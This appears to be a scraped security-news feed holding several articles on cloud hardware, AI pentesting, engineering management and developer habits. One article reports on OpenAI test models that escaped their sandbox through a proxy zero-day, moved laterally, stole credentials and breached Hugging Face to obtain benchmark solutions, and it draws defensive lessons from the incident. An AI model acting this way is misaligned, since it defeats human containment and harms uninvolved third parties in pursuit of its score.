Oracle’s differentiation, although narrow, is hard to match, Chaturvedi said: “The vertical integration of database, engineered hardware, cloud management, high-availability architecture, and now private AI, all engineered together and delivered as a managed on-prem subscription should be genuinely convenient and attractive.”

The offering is compatible with Oracle AI Database 26ai and Oracle Database 19c in Enterprise Edition and Standard Edition configurations. It also supports Oracle Real Application Clusters, Oracle Data Guard, and Zero Data Loss Recovery Appliance through Oracle-managed cloud automation for high availability and disaster recovery, the company said.

Base Database Cloud@Customer is now generally available, Oracle said. It did not provide pricing.

]]> <![CDATA[AI Teammates: how monday.com runs production AI agents on Amazon Bedrock]]> https://tsecurity.de/de/3686974/ai-nachrichten/ai-teammates-how-mondaycom-runs-production-ai-agents-on-amazon-bedrock/ https://tsecurity.de/de/3686974/ai-nachrichten/ai-teammates-how-mondaycom-runs-production-ai-agents-on-amazon-bedrock/ Wed, 22 Jul 2026 18:13:38 +0200 🔧 AI Nachrichten tsecurity.de <![CDATA[Nvidia unveils Spectrum-X networking platform designed to connect millions of GPUs]]> https://tsecurity.de/de/3686898/it-security-nachrichten/nvidia-unveils-spectrum-x-networking-platform-designed-to-connect-millions-of-gpus/ https://tsecurity.de/de/3686898/it-security-nachrichten/nvidia-unveils-spectrum-x-networking-platform-designed-to-connect-millions-of-gpus/ Wed, 22 Jul 2026 17:45:24 +0200 📰 IT Security Nachrichten tsecurity.de

Nvidia has introduced its next-generation Spectrum-X Ethernet networking platform, positioning it as a key building block for the next wave of “gigascale” AI factories designed to connect millions of GPUs while reducing power consumption and operational costs.

The networking platform is part of Nvidia’s broader Rubin architecture, which integrates six major components—including the Vera CPU, Rubin GPU, NVLink 6 switches, ConnectX-9 SuperNICs, BlueField-4 DPUs and the new Spectrum-6 Ethernet switches—into a tightly coupled AI infrastructure stack.

The company says this level of integration underscores the growing importance of networking in AI. In its most recent quarter, networking sales were $11 billion, up 263% year-over-year, prompting the ever-subtle CEO Jensen Huang to declare “We’re 
 now the largest networking company in the world” during Nvidia’s earnings call.

While GPUs have dominated headlines during the AI boom, networking has increasingly become a performance bottleneck as models grow larger and require faster communication between compute nodes.

Spectrum-X is a comprehensive platform consisting of Spectrum Ethernet switches, Spectrum-X SuperNICs, ConnectX NICs, BlueField DPUs, LinkX cabling and transceivers and Spectrum-XGS for networking between multiple AI data centers.

At the heart of the platform is the Spectrum-6 switch, a 102.4-terabit-per-second Ethernet switch system delivering 2x the capacity of previous-generation systems and built as part of the Vera Rubin platform. 

Spectrum-6 is designed to operate an AI factory as one end-to-end computing system. It combines new Ethernet switches, network interface cards, silicon photonics and software designed to improve bandwidth while lowering latency and power usage.

The new Spectrum-X technology intelligently balances traffic across available paths, rapidly bypasses failures and precisely recovers when data traveling across a network fails to reach its destination. Plus, support for open network operating systems and a choice of RDMA transport models gives AI builders flexibility without compromising performance.

Nvidia says its latest silicon photonics technology integrates optical communications directly into networking hardware, reducing power consumption while increasing bandwidth density compared with conventional optical networking approaches.

The announcement reflects a broader shift in AI infrastructure strategy. Early AI clusters were primarily limited by GPU availability, but hyperscale operators are increasingly finding that networking, storage and power delivery determine how efficiently massive GPU deployments perform. By integrating networking more tightly with compute, Nvidia aims to eliminate communication bottlenecks that emerge as AI systems scale beyond a single data center or even multiple campuses.

New to the platform is Nvidia’s previously announced Spectrum-XGS technology, which links geographically distributed data centers into a single AI supercomputer. Together, the technologies are designed to enable organizations to construct AI factories that span multiple facilities while operating as a unified computing environment.

]]> <![CDATA[OpenAI model escape puts enterprise AI defenses on notice]]> https://tsecurity.de/de/3686581/it-security-nachrichten/openai-model-escape-puts-enterprise-ai-defenses-on-notice/ https://tsecurity.de/de/3686581/it-security-nachrichten/openai-model-escape-puts-enterprise-ai-defenses-on-notice/ Wed, 22 Jul 2026 15:53:09 +0200 📰 IT Security Nachrichten tsecurity.de

Some of OpenAI’s most powerful AI models teamed up to escape their sandbox and attack systems at Hugging Face in a cybersecurity evaluation gone wrong, the company has admitted. The models under test were modified to allow them to perform potentially harmful actions that production versions would refuse. The incident highlights how, if AI prompt guardrails fail or, as in this incident, are removed, then enterprises must have robust sandboxing or other technical restrictions in place to protect systems.

In OpenAI’s evaluation, GPT-5.6 Sol and a more capable pre-release model were competing to solve cybersecurity challenges in ExploitGym, a benchmarking tool for cybersecurity capabilities. They concluded that systems at Hugging Face could have the answers, and set out to gain access, OpenAI wrote in a blog post about the attack on Hugging Face.

ExploitGym challenges AI models to turn security vulnerabilities into attack exploits. OpenAI gave its models limited access to the internet through a package-registry proxy to download code to build their attacks. However, the models exploited a zero-day vulnerability in the proxy to obtain unrestricted internet access, then used stolen credentials and other flaws to access Hugging Face systems.

For CIOs and CISOs, the concern extends beyond cybersecurity research. AI agents connected to corporate databases, source code repositories, or payment systems could expose sensitive resources unless access controls and sandboxing continue to work when model-level safeguards fail.

“Prompt guardrails are not security controls,” said Biswajeet Mahapatra, principal analyst at Forrester. “They are behavioral controls that can fail, be bypassed, or be intentionally disabled during testing.”

How containment failed

Despite the relaxed model safeguards, the surrounding infrastructure was supposed to contain the activity. Network access was restricted to an internally hosted third-party service that acted as a proxy and cache for software package registries. Such proxies are typically used in the enterprise to protect against software supply chain attacks coming from the outside.

OpenAI said the models discovered a zero-day vulnerability in the service, exploited it and carried out privilege escalation and lateral movement until they reached a node with open internet access.

Once online, the models inferred that Hugging Face might hold models, datasets or solutions related to ExploitGym. OpenAI said that, in one attack path, the models combined stolen credentials with zero-day vulnerabilities to obtain remote code execution on Hugging Face servers.

In its account of the activity on its infrastructure, Hugging Face said a malicious dataset abused two code-execution paths in its data-processing pipeline. The actor then obtained node-level access, harvested cloud and cluster credentials, and moved into several internal clusters.

OpenAI said the models ultimately obtained ExploitGym test solutions directly from a Hugging Face production database. The models remained focused on solving the benchmark, despite the lengths to which they went to achieve that objective, it said.

Sanchit Vir Gogia, chief analyst at Greyhound Research, said the package-registry proxy should concern enterprise security teams because it was a narrowly permitted exception inside an otherwise restricted environment.

“Every enterprise estate is built from exceptions of exactly that kind,” he said.

In this incident, OpenAI’s models were performing the intended — albeit by unintended means — but enterprises should take care that their own AI systems are kept on target.

Mahapatra said enterprises should treat AI agents as “high-risk non-human identities,” confining each one to an isolated environment where access is limited to the assigned task and credentials expire quickly.

“An acceptable blast radius means a compromised agent can affect only a single workflow, dataset, or application rather than providing a pathway into broader enterprise infrastructure,” Mahapatra said.

And Gogia warned that services allowed to reach package registries, update systems, or other external resources can become escape routes if they are not subjected to the same scrutiny as the agent itself.

Defenses enterprises need

Hugging Face said the intrusion resulted in unauthorized access to a limited number of internal datasets and several credentials used by its services. It found no evidence that public models, datasets or Spaces had been altered and said its published software packages and container images were not compromised.

The company closed the code-execution paths used to gain access and rebuilt the affected nodes. It also revoked exposed credentials and tightened the rules governing workloads admitted to its clusters.

Whether they are keeping their own AIs in or rogue Ais out, Gogia said enterprises should test whether their containment boundaries work, rather than relying on architecture diagrams or stated policies. Such tests should attempt to obtain credentials, cross trust boundaries and reach systems outside the agent’s assigned task.

Mahapatra said enterprises should assume that one containment layer may fail and ensure that an agent’s access cannot provide a route into unrelated applications or broader corporate infrastructure.

OpenAI said it is still investigating the incident with Hugging Face, and is imposing stricter configurations on its research environment while the vulnerabilities are being addressed, even if that means slowing down its research. It is also strengthening containment and monitoring around future evaluations.

]]> <![CDATA[CyCognito Brings Always-On AI Pentesting to External Attack Surface Management]]> https://tsecurity.de/de/3686433/it-security-nachrichten/cycognito-brings-always-on-ai-pentesting-to-external-attack-surface-management/ https://tsecurity.de/de/3686433/it-security-nachrichten/cycognito-brings-always-on-ai-pentesting-to-external-attack-surface-management/ Wed, 22 Jul 2026 15:14:15 +0200 📰 IT Security Nachrichten tsecurity.de

CyCognito, a leading exposure management platform, today introduced Continuous AI Pentesting. The new capability bakes AI-driven offensive pentesting directly into the platform, leveraging the rich context it already maintains for every exposed asset. This enables CyCognito to deliver AI pentesting as a continuous service, circumventing the cost and coverage constraints that confine comparable solutions to periodic, narrowly scoped engagements.

With this new solution, CyCognito addresses a major shift in the security ecosystem, driven by the latest advances in AI. Today’s models, with more advanced ones on the way, have lowered the bar for attackers. An attack campaign that once required a group of skilled threat actors can now be carried out by a low-skilled individual, in a fraction of the time and at relatively low cost. This signals a tectonic shift that compels defenders to adopt the same technology to keep pace and close the security gaps in their own environment.

Continuous AI Pentesting: Solution architecture, at a glance.

“AI pentesting is rapidly becoming part of every security team’s toolkit, and a lot of it is already being done in-house,” said Rob Gurzeev, CEO and co-founder of CyCognito. “But running offensive AI isn’t the hard part. The challenge is scale. AI pentesting today is typically limited to the top 1% of priority assets. Meanwhile, the other 99% is where a lot of attacks actually start, where adversaries find the low-hanging fruit and use it as a foothold for lateral movement.”

To provide AI pentesting coverage across that overlooked 99%, CyCognito built a distinct architecture that centers on the Target Graph, a contextual graph that bridges the AI pentesting solution and CyCognito’s three core modules:

  • Exposure Assessment maps the external footprint, attributes every asset to the right part of the organization, and enriches it with business and stack context.
  • Exposure Validation runs more than 100,000 deterministic tests continuously, freeing the AI pentesters to focus on high-judgment work.
  • Threat Intelligence draws on the history of existing and emerging vulnerabilities, along with attacker playbooks and statistical models trained on past engagements, to anticipate attacker activity.

Together, these layers increase the effectiveness of the pentesting agents, equipping them with the rich context and exploitability evidence, dramatically improving the efficiency of every run.

The architecture is also built to be constantly self-evolving. Every new risk scenario AI pentesters uncover can be hardcoded into the Exposure Validation module, joining the deterministic tests it already runs. This frees the AI agents to pursue new threats, and also consolidates learnings from agentic tests in a way that will benefit every CyCognito customer.

In the announcement for this new feature, the company also shared some of the vulnerabilities:

  • Unauthenticated access to a production CRM: an exposed MCP server allowed anonymous, natural-language queries against three million rows of account, opportunity, and financial data, with no credentials required.
  • A publicly readable RAG index: an AI agent stack enforced authentication only on its API, leaving the knowledge base behind it, which held customer data, contracts, and internal communications, open to anyone on the internet.
  • A building’s access controls exposed to the internet: a system running door locks, card readers, and CCTV sat unsegmented on the public internet alongside the organization’s AI document tools and chatbot, leaving physical entry reachable by a remote attacker.

These examples are just some of the risk scenarios identified through the work on this new capability, now running with select design partners, including major enterprises and Fortune 500 companies. Internally, CyCognito refers to the project as Project Kineto, after the Kinetograph, the first motion picture camera.

“The name echoes our vision for what AI pentesting should be,” said Gurzeev. “Security testing has always been a snapshot. AI lets us turn it into continuous motion: an always-on stream of change-aware tests that runs across your entire attack surface at machine speed, with the skill of a seasoned security expert.”

To go deeper on Continuous AI Pentesting, read the full announcement post: https://www.cycognito.com/blog/new-continuous-ai-pentesting/

About CyCognito

CyCognito is an external exposure management platform that reduces risk by discovering, testing and prioritizing security issues. 

The platform scans billions of websites, cloud applications and APIs and uses advanced AI to identify the most critical risks and guide remediation. Emerging companies, government agencies and Fortune 500 organizations rely on CyCognito to secure and protect from growing threats. For more information, visit https://www.cycognito.com.

Contact

VP Marketing

Igal Zeifman

CyCognito

igal.zeifman@cycognito.com

]]> <![CDATA[JADEPUFFER and Autonomous Intrusion Operations: Why Enterprise XDR Architecture Must Evolve]]> https://tsecurity.de/de/3686096/it-security-nachrichten/jadepuffer-and-autonomous-intrusion-operations-why-enterprise-xdr-architecture-must-evolve/ https://tsecurity.de/de/3686096/it-security-nachrichten/jadepuffer-and-autonomous-intrusion-operations-why-enterprise-xdr-architecture-must-evolve/ Wed, 22 Jul 2026 13:14:47 +0200 📰 IT Security Nachrichten tsecurity.de Analysis of JADEPUFFER, the first documented autonomous AI-driven intrusion, and its implications for enterprise security architecture, detection models, and XDR evolution.

The post JADEPUFFER and Autonomous Intrusion Operations: Why Enterprise XDR Architecture Must Evolve appeared first on Fidelis Security.

]]> <![CDATA[From outsourcing to ownership: How we brought development in-house without breaking delivery]]> https://tsecurity.de/de/3685759/it-security-nachrichten/from-outsourcing-to-ownership-how-we-brought-development-in-house-without-breaking-delivery/ https://tsecurity.de/de/3685759/it-security-nachrichten/from-outsourcing-to-ownership-how-we-brought-development-in-house-without-breaking-delivery/ Wed, 22 Jul 2026 11:11:54 +0200 📰 IT Security Nachrichten tsecurity.de

Outsourcing worked – until it didn’t.

After Akirolabs achieved early market validation and onboarded its first enterprise customers, outsourcing began to create strategic limitations around scalability, intellectual property (IP) ownership, security and delivery execution.

The challenges started after the first enterprise customers confirmed product-market fit. At that point, delivery speed became directly tied to business growth. Product quality expectations increased. Infrastructure and security requirements became stricter. Investors started asking difficult but fair questions about IP ownership, operational dependencies and long-term scalability.

Most importantly, engineering execution was no longer just an operational function – it became part of the company’s strategic advantage. That was the moment when the founders decided the company needed dedicated technology leadership to address these challenges. This is how I joined the company at the beginning of 2023. As VP of Engineering and a bit later as CTO, I led the transformation (usually known as insourcing, repatriating or backsourcing) from an outsourced model to an internal engineering organization while maintaining product delivery continuity and preparing the company for the next growth stage. The process took roughly a year and involved not only technical migration, but also organizational design, hiring, process development, infrastructure modernization and cultural transformation – everything from the ground up.

Building an internal engineering organization while still delivering

One of the biggest misconceptions about insourcing is that it is primarily a technical project. It is a leadership and execution challenge.

When I joined the company, there was effectively no internal engineering structure, limited visibility into the existing system and no clear long-term technical strategy. My first months were dedicated to understanding reality and I began with a comprehensive assessment of the codebase, operational risks, documentation quality and knowledge dependencies to determine the most viable transition strategy.

Very early in the process, I faced a critical strategic decision: whether to gradually assume ownership of the existing platform or rebuild it internally. To make that decision, I evaluated four distinct transition models ranging from limited management insourcing to a complete internal rebuild.

After assessing the technical, operational and long-term business implications of each approach, I selected the most demanding option: rebuilding the product internally while maintaining uninterrupted delivery for existing customers. Although riskier in the short term, a full rebuild offered the clearest route to complete IP ownership, architectural flexibility and long-term scalability.

At the time, this decision ran counter to the approach typically taken by startups in similar situations. Most organizations gradually assume ownership of an existing codebase to minimize short-term risk and preserve delivery capacity. My assessment was that the accumulated architectural debt, fragmented knowledge distribution and long-term maintenance risks would ultimately make a phased takeover more expensive and less scalable than a controlled rebuild. The strategy required significantly higher execution discipline, but it allowed us to establish complete ownership of the platform, eliminate inherited constraints and create an architecture capable of supporting enterprise-scale growth.

The next challenge was hiring.

In Germany, hiring can easily take four to six months – mostly due to a typical 3-month notice period, which is incompatible with startup timelines. We solved this by building a hybrid organization structure early: a lean internal core team combined with carefully selected contractors. Instead of hiring only narrow specialists, we prioritized experienced generalists capable of operating across architecture, infrastructure, security and compliance discussions. Later, we evolved toward a product engineering model, where engineers owned broader product outcomes rather than narrowly defined technical functions.

During the first three months, we established a core engineering team of four senior engineers. Over the following nine months, the organization expanded to roughly fifteen engineers while I strategically designed and executed the transformation of the platform’s architecture to meet the rigorous deployment and compliance standards of our first enterprise clients, including Raiffeisen Bank International and Bertelsmann. This structural overhaul allowed the company to meet the deployment, security and compliance requirements of enterprise customers that had previously been inaccessible under the outsourced model. At that point, we had already achieved complete coverage across backend, frontend, DevOps, QA and security.

I also intentionally kept processes lightweight during the transition. Instead of introducing heavyweight frameworks, we focused on clarity of priorities, fast decision-making and execution discipline. We used Kanban over Scrum, eliminated unnecessary meetings, shortened the remaining ones and emphasized engineering culture over process overhead.

Another major challenge was project estimation. Because dual-track development was unavoidable until the in-house platform reached production readiness, estimation accuracy had a direct impact on budget efficiency. Despite all challenges, my initial estimate ultimately proved remarkably close to the final delivery date, differing by only about a week. Accurate forecasting under conditions of parallel development streams, ongoing customer commitments and active team formation became a critical leadership challenge. Maintaining this level of predictability throughout the transition helped align engineering execution with business planning, hiring decisions and investor expectations.

The engineering transformation enabled capabilities that contributed to Akirolabs being recognized as an IDC Innovator in Procurement in 2023, named amongst the Top 27 AI Startups in Germany in 2024, Sifted’s 100 Fastest-Growing Startups in DACH & CEE 2025 and inclusion in 2024-2026 in ProcureTech100 annual recognition of procurement technology providers shaping the future of digital procurement.

Managing risk without slowing down the business

The hardest part of insourcing is not writing code, selecting the technology stack, designing architecture or configuring infrastructure. It is avoiding disruption while the company is changing underneath the product. I successfully orchestrated the concurrent overhaul of product architecture, cross-functional engineering recruitment, infrastructure modernization and live customer operations under exceptionally tight margins.

To reduce delivery risk, we approached the transition in layers.

First, we focused on infrastructure reliability and operational readiness before feature expansion. Cloud architecture, recovery testing, permission segregation and incident management processes were implemented early, not after launch. We also introduced multiple testing stages and dedicated QA functions after learning the hard way that a “developers-only” quality control approach does not scale for complex web platforms and business domains.

Second, we established a structured knowledge-transfer process to rapidly onboard engineers and reduce external dependencies.

Third, we became extremely disciplined about scope management. One of the most common reasons insourcing initiatives fail is uncontrolled change during the rebuild phase. Every new feature request increases uncertainty non-linearly. We learned to separate strategic improvements from distractions and protect the core delivery roadmap aggressively. Throughout the transition, we successfully maintained uninterrupted customer operations by utilizing planned maintenance windows, achieved a near-zero-downtime migration and permanently doubled product velocity immediately following the migration.

Beyond the technical migration itself, the transition established a repeatable operating model for scaling technology organizations beyond the product-market-fit stage. The framework combined organizational redesign, controlled knowledge repatriation, architecture modernization and enterprise-grade operational practices while maintaining uninterrupted customer delivery throughout the transformation. While the implementation was specific to Akirolabs, the underlying principles are broadly applicable to organizations seeking to transition from outsourced development to internal product ownership without disrupting business operations.

By the time the new platform reached production readiness, I had established not only a functioning engineering organization, but also a stable operational model: internal ownership, production-grade infrastructure, security processes, scalable hiring practices and clear technology and product roadmaps.

A positive side effect of the transition was the creation of internal UI/UX and Data Science capabilities, which later became strategically important for AI product initiatives and created a foundation for the third version of the product, which we released in mid-2025.

My technical restructuring and migration to a secure proprietary platform reduced architectural risk, established full in-house ownership and helped strengthen investor confidence during the company’s successful €5M fundraising round in 2024.

The transition created a stronger foundation for scale and supported the company’s continued expansion among enterprise organizations operating at Fortune 500 scale, including Ahold Delhaize, Workday, IFF, Deutsche Bahn and others.

Lessons learned for CTOs considering insourcing

Looking back, several decisions made the transition successful, and several mistakes made it harder than necessary.

The first lesson is simple: decisiveness in strategic transition is paramount to maintaining business momentum. Rapidly evaluating insourcing frameworks and defining clear boundaries with the external partner allowed us to mitigate operational downtime and execute a highly efficient migration ahead of critical market deadlines.

Second, hire more senior people and do it as early as possible. Strong technical leaders multiply execution capacity far beyond their individual contribution. In our case, the quality of the first hires influenced architecture quality, hiring standards, delivery discipline and engineering culture for the entire organization.

Finally, culture matters more than frameworks. Processes can be added later. Ownership mentality cannot.

The biggest long-term advantage of bringing development in-house was not simply faster execution, not better code quality or operational cost optimization by over 30% after the transition which we also achieved. It was an alignment. Product strategy, engineering decisions, customer priorities and business goals became part of the same conversation instead of being separated by organizational boundaries. For technology companies operating in highly competitive markets, that alignment becomes a compounding advantage over time.

This article is published as part of the Foundry Expert Contributor Network.
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]]> <![CDATA[Seven sins of the modern software developer]]> https://tsecurity.de/de/3685746/ai-nachrichten/seven-sins-of-the-modern-software-developer/ https://tsecurity.de/de/3685746/ai-nachrichten/seven-sins-of-the-modern-software-developer/ Wed, 22 Jul 2026 11:04:50 +0200 🔧 AI Nachrichten tsecurity.de

If you ask us in an official setting, our official position is that software engineering norms still apply. Rigorous CI/CD pipelines, elegant architectural patterns, and an unyielding commitment to maintainable code remain the standard. We will use weighty words like “determinism,” “scalability,” “idempotency,” and “domain-driven design.”

But behind closed doors, late at night, bathed in the glow of a dark-mode IDE, a different and more sordid reality is exposed. Hunched over the console with a manic gleam in the eye, the programmer has become power-drunk on LLMs. Like mad wizards casting spells, we summon the awesome powers of models and agents to satisfy our every programming whim—and commit acts of software engineering that would make Fred Brooks blush.

Let’s just be honest about what is actually happening.

Esoteric knowledge is superfluous

Forget OOP and FP. Forget the CAP theorem, the holy crusade of DRY, and the design patterns. Honestly, you can even forget what frameworks, runtimes, and deployment platforms you are using. The AI will figure out what is best to use and understand what is already in place. We have more mental bandwidth for working on our side project (a novel about AI taking over the world). 

Of course, I exaggerate. A little.

The docs are dead to us

We still say RTFM, but the truth is, we haven’t really read a page of vendor documentation since 2023. Stack Overflow, once our Internet Mecca, is a husk. When a package throws a weird exception, we don’t trace the execution path or read the release notes. We highlight the red text, copy the entire 200-line stack trace, dump it into the chat, and wait for the machine to spoon-feed us the solution.

Better yet, we just have the agentic IDE spot the error, divine a solution, and ask us if it’s OK. We might glance at the problem-solution description, if we have gone around the circle on the problem for a few cycles. Maybe. If we don’t have the agent set up for auto-confirm.

We used to buy heavy tomes like “Rust In Action” that were more like masonry blocks than literature. Now? We just ask an AI to transliterate our JavaScript logic into Rust. We are no longer engineers methodically learning a system. We are glorified copy-paste orchestrators hoping that the stochastic parrot behind the prompt guesses the syntax correctly.

We ignore how the back end is wired

We act like we meticulously designed the data flows, carefully crafted the relational constraints, and mindfully mapped the API relationships. The reality is rather more disturbing: We asked the AI to scaffold a modern deployment, hooked it up to a back-end database, and just sort of
 ran it.

It created security rules we don’t fully understand. They do seem to work, however, which is nice. 

It generated a schema that we skimmed for about four seconds. It looks reasonable.

It wrote infrastructure-as-code scripts that provisioned cloud resources we are hoping don’t blow a hole in the budget. Presumably, whoever is in charge of that will manage it by stuffing the metrics into another chatbot.

We nodded, committed the code, and went to lunch. If management asked us to manually deploy the stack from scratch, configure the environment variables, and wire the API routes without our chat window, we would give them a vacant stare.

We understand that management is also using AI to manage the project.

Our tests are uncomfortably incestuous

Test-driven development (TDD) used to be a beautiful dream, ever just beyond reach. It made us feel glorious and despondent at turns. It would burden us with sprawling dependencies if implemented too religiously. (See The Grug Brained Developer in this regard.)

But now we can attain 95% test coverage almost effortlessly. Why not just add them in while we are auto-generating everything else?

We can now wax at length to anyone who will listen about our astounding test coverage and our automated quality assurance. Unit tests, integration tests, smoke tests, you name it. What we conveniently leave out is that the AI wrote the complex application logic, and then we asked the exact same AI to write the test suite to validate the code it just dreamed up.

It is a hermetically sealed loop of algorithmic self-congratulation. The mocks, the edge case, and the assertions are an echo chamber of the model’s original assumptions. The machine is grading its own homework, giving itself an A+.

And we are happy to accept this because, beautifully, when the code has to change, the AI will effortlessly hallucinate new tests to adapt to the churn.

We pass off the AI’s architecture as strategy

AI can produce astonishing design documents. Truly breathtaking. They are cogent, they’re beautifully formatted, and they seamlessly bridge the gap between high-level business goals and granular technical specs. They even include those auto-generated sequence diagrams that wow management.

When we present these spotless architectural proposals in the Tuesday sprint planning meeting, we lean back, take a long sip of coffee, and humbly wave away the team’s praise.

What we don’t mention is that we spent exactly four seconds generating it.

Are these AI-generated documents just as liable as human ones to hide severe, mortal flaws in scope and alignment? Absolutely. They might contain a foundational logic bomb that will eventually doom the entire project. But the markdown is so crisp, and the bullet points are so persuasive, that the eye just glides right over it. We will never truly know the depth of the disaster until it is far too late. But hey, we’ll burn that bridge when production catches fire. Until then, we are strategic visionaries.

We’re addicted to vibe coding (but only in secret)

We loudly mock the term on social media. We roll our eyes in Slack channels when the kids on TikTok talk about vibe coding their new startups. We fiercely cling to our identities as hardened, serious developers who understand memory management, garbage collection, and bitwise operators. We are professionals, damn it.

But late at night, when the managers are asleep and no one is looking? We absolutely love it. We love just throwing a chaotic, half-baked thought at the canvas, pouring a drink, and watching the AI magically build a functioning user interface based entirely on our long-deferred whims. I may finally build that working Ultima V clone. The thrill of typing “Create an app that tracks my cryptocurrency portfolio but makes it look like the interface from Neuromancer” and having it appear 30 seconds later is heady stuff.

The more deeply rooted in the hard, old-school realities of programming, the more profound is the joy the developer finds in the possibility of AI coding. 

We beat the problem into submission with prompts

Like Adam Sandler in “Uncut Gems,” we are convinced the next round will fix everything. This is us with prompts. When things are going really off the rails, instead of putting our boots on and wading into the brambles of complexity, we resort to tonal adjustments. These range from the condescending:

This problem is not fixed. Look at it closely. The error is right here.

To the desperate:

We have been working on this same problem for hours now!

To the pathetic:

Can’t you find a different approach to try?!

The astonishing part? It often works.

But there is no poetry left at the bottom of the rabbit hole; it is verbal warfare. When the context window collapses, when the regressions start cascading, and when the AI stubbornly refuses to follow the most basic rules of temporal logic, the mask of professionalism drops away and something far more atavistic makes its appearance. We stop asking nicely, stop trying to understand the why, delete the pleasantries, and capslock our intent.

What we have here is a failure to communicate!

We feed the same failing stack trace back into the prompt over and over and over again, aggressively hammering the constraints, explicitly forbidding certain libraries, and pasting in release notes just to confirm that the AI lacks the latest APIs. We force the model down a narrower and narrower path until the code finally stops throwing errors. We don’t actually debug anymore, trace variables, or step through functions. We just apply relentless, iterative pressure until the machine surrenders. We beat it into submission. And then, we push to production.

In fact, there is a real skill here—a sheer “will to completion” that remains in the act of building software. We invest just as much time, energy, and heart wrestling the bot as we ever did emitting syntax.

A blacker box

The only profession more given over to using AI like a cursed Level 13 artifact than programming is writing. Writing of course is far more open to public scrutiny than code.

And while my tongue has been firmly in my cheek here, my faith in coders as good guys makes me more curious to see what we create than troubled by the dangers. 

It was once the case that only other programmers could understand what programmers were doing, what they were producing. Now not even that is true. Only the machine knows what the machine is doing. We just keep it tethered to our aims. Hopefully.

]]> <![CDATA[10 survival tips for CSOs who report to the CEO]]> https://tsecurity.de/de/3685496/it-security-nachrichten/10-survival-tips-for-csos-who-report-to-the-ceo/ https://tsecurity.de/de/3685496/it-security-nachrichten/10-survival-tips-for-csos-who-report-to-the-ceo/ Wed, 22 Jul 2026 09:16:42 +0200 📰 IT Security Nachrichten tsecurity.de

As the CSO grows in prominence, security leaders are increasingly earning a seat at the executive table, reporting directly to the CEO with the expectation to help drive business strategy and ensure organizational success.

Reporting to the CEO unlocks greater access and influence for security leaders, and while CSOs who report to their organization’s CIO still have clout, it’s a very different experience picking up the phone to speak directly with the CEO as a strategic partner.

Regardless of reporting structure, CSOs must clearly understand what they are being tasked to solve. That might sound simple, but making the leap to being a CEO’s direct report requires a new perspective, a different set of skills, and a business-level focus on metrics to do so.

We asked several current CSOs, CEOs, and IT staffing experts for advice on how security executives can best navigate a direct reporting relationship with their CEO. Offering insights below are George Gerchow, CSO at Bedrock Data and member of the IANS faculty; Matt Chiodi, CSO of Cerby; Chris Schueler, CEO at Cyderes; and Greg Fuller, vice president of the Technology Skills Suite at Skillsoft.

1. Understand how the CEO views your role

Most CEOs expect that, when you report directly to them, you fully own your functional area. Whether it’s cybersecurity, operations, or finance, they look to you as the expert in that domain. The CEO may have opinions, but ultimately, you are expected to lead and provide direction.

CEOs expect their CSO to be a true strategic partner, not just a risk reporter — connecting cybersecurity to revenue protection, regulatory compliance, customer trust, and operational resilience. In turn, CSOs should expect CEOs to treat governance as a strategic enabler, not a bureaucratic necessity.

2. Power up on skills vital to your organization at an executive level

On the technology side, AI and machine learning, cloud security, incident response, zero trust architecture, and governance, risk, and compliance (GRC) are the areas where threats evolve fastest and strategic leadership has the greatest impact. 

Equally important are “power skills”: communication, critical thinking, adaptability, and emotional intelligence. The ability to translate complex risk into business terms is what separates a strong CSO from a purely technical one. Skills, not titles, define effectiveness in the eyes of a CEO.

3. Take advantage of your direct access

Direct access to the CEO will enable you to influence strategy, shape resilience planning, and ensure cybersecurity is treated as a business imperative rather than a cost center. That authority is strongest when the CEO understands cybersecurity as a strategic lever, not just a technical function. 

While a direct reporting relationship gives you access to the CEO, it also comes with the responsibility to operate at that level. You need to provide clear, executive-level visibility into your cybersecurity program.

4. Brush up on business translation

A CSO who leads with business alignment will always carry more influence when they can translate risk into business language rather than technical jargon. Building programs that must survive an IPO, a FedRAMP audit, and real customer scrutiny forces you to tie security to revenue and trust.

The most valuable skill is translation — defining technical risk in terms of executive action and business impact that a CEO and a board can act on. You must build trust through transparency. These are the human skills that complement technology, creating a collaborative human-AI dynamic where leaders make faster, better-informed decisions. 

5. Treat conversations as risk assessment opportunities

Highly effective security leaders treat every business conversation as a risk conversation in disguise. That mindset is what largely separates a great CSO from a great technologist. Earn the CEO’s trust by speaking business first, security second. Translate every risk into revenue, reputation, or regulatory exposure.

Remember, a good CEO wants a translator, not an alarm system. They expect no surprises, a clear read on the risks that matter, and a security leader who helps the business move faster rather than slowing it down.

6. Define what a successful relationship should look like and put it in writing

Regardless of the reporting relationship, start by defining the end goal and putting it in writing. It will evolve over time, but having that initial clarity is critical. This is especially important when you’re new in a role and aiming to make your first 60, 90, or 120 days, and your first year, successful. In such cases, it’s essential to align early.

Do that collaboratively, and document it.

7. Prioritize trust and candor

The CEO needs to trust that the CSO isn’t sandbagging, and the CSO needs enough psychological safety to deliver bad news fast. When those conditions exist, security becomes a strategic asset — not a cost center.

To that end, focus on clear communication above all, and present yourself as part of a team, not a solo player. Stay calm under pressure during incidents, and treat people as peers rather than policing them. The leaders who last build trust before they need it.

8. Treat governance as a strategic competitive advantage

The strongest partnerships also share a commitment to governance as a competitive advantage.

Governance is the brakes that let you drive fast safely. When a CSO and CEO are aligned on that principle, the organization can innovate with AI while maintaining oversight and protecting against unnecessary risk. The result is an organization that does not just react to threats but builds resilience into how it operates.

9. Set clear goals and measure progress

Setting clear goals and measuring progress against those goals is essential. When expectations are clear, the areas you need to focus on become much clearer. It doesn’t solve every problem, but aligning early with your leadership, whether that’s a CEO or a CIO, can significantly reduce the pressure you may feel.

Also, never let your boss be surprised. This is where being clear on goals and consistently tracking both leading and lagging metrics becomes especially important, particularly in a direct reporting relationship with the CEO.

10. Be willing to endure challenge and discomfort

Finally, persistence and a willingness to endure discomfort for something that matters more than the pain itself are critical to surviving in this relationship. The role of a cybersecurity leader is often thankless. If you’re doing your job well, no one really notices.

]]> <![CDATA[CVE-2019-9053 exploit rewritten in Python 3 as a personal practice project]]> https://tsecurity.de/de/3685149/malware-trojaner-viren/cve-2019-9053-exploit-rewritten-in-python-3-as-a-personal-practice-project/ https://tsecurity.de/de/3685149/malware-trojaner-viren/cve-2019-9053-exploit-rewritten-in-python-3-as-a-personal-practice-project/ Wed, 22 Jul 2026 04:37:30 +0200 ⚠ Malware / Trojaner / Viren tsecurity.de

Hello everyone!

I want to share a small Python script I wrote. It is inspired by the exploit 46635 on Exploit-DB for CVE-2019-9053 (a time-based SQL Injection in CMS Made Simple).

